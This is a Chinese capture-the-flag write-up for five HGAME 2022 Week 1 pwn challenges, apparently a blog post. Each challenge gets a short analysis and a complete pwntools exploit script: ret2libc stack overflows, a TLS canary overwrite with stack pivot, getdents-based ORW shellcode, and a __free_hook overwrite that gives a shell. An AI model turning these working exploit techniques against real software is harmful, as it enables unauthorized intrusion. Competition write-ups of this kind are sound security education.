PWN-COMPETITION-HGAME2022-Week1

enter_the_pwn_land

栈溢出,需要注意的是下标 i 的地址比输入s的地址更高
s溢出会覆盖 i ,于是需要小心地覆写 i 的值,让循环顺利执行下去
pwn-main
然后就是常规的ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./pwn1")
#io=remote("chuj.top",30722)
elf=ELF("./pwn1")

main_addr=0x401260
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=0x401313
ret=0x40101a
payload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0875a0
system=libc_base+0x055410
binsh=libc_base+0x1b75aa

payload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
io.sendline(payload)

io.interactive()

enter_the_evil_pwn_land

栈溢出,开了canary保护
不能通过覆盖canary低字节为0x0A,从而puts出canary
test_thread返回时检测到canary不正确,程序就会crash
pwn2-main
test_thread是新创建的线程,而且栈可溢出的字节数很多,考虑直接覆写TLS中的canary
关键是确定TLS中canary的偏移,参考:canary的各种姿势
通过爆破,确定本题的TLS中canary的偏移为2160
然后是通过栈迁移实现ret2one_gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./enter_the_evil_pwn_land")
#io=remote("chuj.top",39853)
elf=ELF("./enter_the_evil_pwn_land")
libc=ELF("./libc-2.31.so")

buf=0x404060
offset=2160
main_addr=0x4011D6
leave_ret=0x40125A
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
read_plt=elf.plt["read"]
pop_rdi=0x401363
pop_rsi_r15=0x401361
ret=0x40101a
payload="a"*48+p64(buf)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(read_plt)+p64(leave_ret)
payload=payload.ljust(offset,"a")
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
print("libc_base=="+hex(libc_base))

pop_rdx_r12_ret = libc_base+0x11c371
ogg=libc_base+0xe6c7e

payload="a"*8+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(ogg)
io.sendline(payload)


io.interactive()

oldfashion_orw

-1绕过atoi,然后栈溢出,泄露libc基址
按照题目描述和hint,知道要读目录
orw-description
orw-hint
读目录对应的系统调用为__NR_getdents,系统调用号为78
参考:getdents - 获得目录项
遍历目录,找文件名前4个字符为"flag"的文件,然后orw打印flag
读目录,遍历目录和orw没有很合适的gadgets,故直接写成shellcode
于是要先mmap出一块可执行的内存
exp如下:

# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

context.log_level="debug"
context.arch="amd64"
context.os="linux"

#io=process("./vuln")
io=remote("chuj.top",43565)
elf=ELF("./vuln")
libc=ELF("./libc-2.31.so")

#gdb.attach(io,"b * 0x4013DB")
#pause()

rop=ROP(elf)
rop.write(1,elf.got["write"])
for i in range(0x90//6):
	rop.read(0,elf.bss(i*6))
rop.migrate(elf.bss())

io.sendlineafter("size?\n","-1")
io.sendafter("content?\n","\x00"*0x38+rop.chain())
io.recvuntil("done!\n")
libc_base=u64(io.recv(6).ljust(8,"\x00"))-libc.sym["write"]
libc.address=libc_base

string_="./\x00"
shellcode=asm("""
	mov rsi,0x10000
	mov rdi,0x600000
	mov rax,2
	syscall
	mov rdx,0xf00
	mov rsi,0x600100
	mov rdi,rax
	mov rax,0x4e
	syscall
	
	mov r8,rax
	add r8,0x600100
	mov r9,0x600100
	start:
	mov edx,dword ptr[r9+0x12]
	cmp edx,0x67616c66
	je print
	
	xor rcx,rcx
	mov cx,word ptr[r9+0x10]
	add r9,rcx
	cmp r9,r8
	jl start
	jmp end
	
	print:
	xor rsi,rsi
	mov rdi,r9
	add rdi,0x12
	mov rax,2
	syscall
	mov rdx,0x100
	mov rsi,0x600200
	mov rdi,rax
	mov rax,0
	syscall
	mov rdx,rax
	mov rsi,0x600200
	mov rdi,1
	mov rax,1
	syscall
	end:
	jmp $
	""")

rop2=ROP(libc)
rop2.mmap(0x600000,0x1000,7,0x21)
rop2.read(0,0x600000,len(shellcode)+len(string_))
rop2.call(0x600000+len(string_))
io.send(rop2.chain())
sleep(1)
io.send(string_+shellcode)

#pause()

io.interactive()

ser_per_fa

程序实现了一个spfa算法,题目提示漏洞点不在spfa算法内,于是分析其他地方
main函数中,第33、34行,可以给v6输入一个负数,实现任意读,泄露程序基址和libc基址
spfa-main
add函数中,当写入很多组数据时,num_edge也会被覆写
覆写num_edge为合适的值,实现任意写
spfa-add
spfa函数中,第36行,删除队列会调用free
spfa-spfa
于是配合上面的任意写,将free_hook写成后门函数地址即可getshell

# -*- coding:utf-8 -*-
from pwn import *
import hashlib
context.log_level="debug"
io=process("./spfa")
#io=remote("chuj.top",49375)
elf=ELF("./spfa")
libc=ELF("./libc-2.31.so")

def get_pwd(str, num):
        if(num == 1):
            for x in str:
                yield x
        else:
            for x in str:
                for y in get_pwd(str, num-1):
                    yield x+y

strKey=""
for i in range(33,127):
    strKey+=chr(i)

#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#for x in get_pwd(strKey,4):
#	h=hashlib.sha256()
#	h.update(x.encode(encoding='utf-8'))
#	h_hexdigest=h.hexdigest()
#	if h_hexdigest==code:
#		io.sendline(x)
#		break


io.sendlineafter("datas?\n>> ","3")

#1,泄露程序基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):
	io.sendline("1 2 3")

io.sendlineafter("which node?\n>> ","1")
__frame_dummy_init_array_entry=(elf.sym["__frame_dummy_init_array_entry"]-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(__frame_dummy_init_array_entry))
io.recvuntil("shortest path is ")
proc_base=int(io.recvuntil("\n")[:-1])-elf.sym["frame_dummy"]
print("proc_base=="+hex(proc_base))
backdoor=proc_base+0x16A5
print("backdoor=="+hex(backdoor))
unk_7068_addr=proc_base+0x7068
print("unk_7068_addr=="+hex(unk_7068_addr))

#2,泄漏libc基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):
	io.sendline("1 2 3")

io.sendlineafter("which node?\n>> ","1")
stdout=(elf.bss()-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(stdout))
io.recvuntil("shortest path is ")
_IO_2_1_stdout_=int(io.recvuntil("\n")[:-1])
print("_IO_2_1_stdout_=="+hex(_IO_2_1_stdout_))
libc_base=_IO_2_1_stdout_-libc.sym["_IO_2_1_stdout_"]
print("libc_base=="+hex(libc_base))
free_hook_addr=libc_base+libc.sym["__free_hook"]
print("free_hook_addr=="+hex(free_hook_addr))

#3,覆写free_hook为后门函数
free_hook_to_unk_7068_offset=(free_hook_addr-unk_7068_addr)//24
print("free_hook_to_edge_offset=="+hex(free_hook_to_unk_7068_offset))
num=609
io.sendlineafter("nodes?\n>> ",str(num+1))
io.sendlineafter("edges?\n>> ",str(num+1))
send_content=str(1)+" "+str(num+1)+" "+str(free_hook_to_unk_7068_offset-1)
for i in range(num):
	io.sendline(send_content)

send_content=str(1)+" "+str(backdoor)+" "+str(backdoor)
io.sendline(send_content)

io.sendlineafter("which node?\n>> ","2")

io.sendline("cat flag")

io.interactive()

test_your_nc

nc连上去,cat flag即可
nc-flag

test_your_gdb

调试得到s2的16字节数据,第23行的write泄露canary,第24行的gets造成栈溢出
gdb-main
程序有后门函数,ret2text即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./test_your_gdb")
#io=remote("chuj.top",50610)
elf=ELF("./test_your_gdb")

backdoor=0x401256
ans1=0xb0361e0e8294f147
ans2=0x8c09e0c34ed8a6a9
io.sendafter("pass word\n",p64(ans1)+p64(ans2))

io.recv(24)
canary=u64(io.recv(8))
print("canary=="+hex(canary))

payload="a"*24+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)

io.interactive()
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值